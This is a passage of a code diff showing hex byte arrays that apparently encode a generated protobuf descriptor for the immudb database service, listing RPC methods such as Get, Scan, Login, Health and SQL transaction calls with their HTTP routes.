0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, - 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, - 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, - 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, - 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, - 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, - 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, - 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, - 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, - 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, - 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, - 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, - 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, - 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, - 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, - 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, - 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, - 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, + 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, + 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, + 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, + 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, + 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, + 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, + 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, - 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, - 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, - 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, - 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, - 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, - 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, - 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, - 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, - 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, - 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, - 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, - 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, - 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, - 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, - 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, + 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, + 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, + 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, + 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, + 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, + 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, + 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, + 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, + 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, + 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 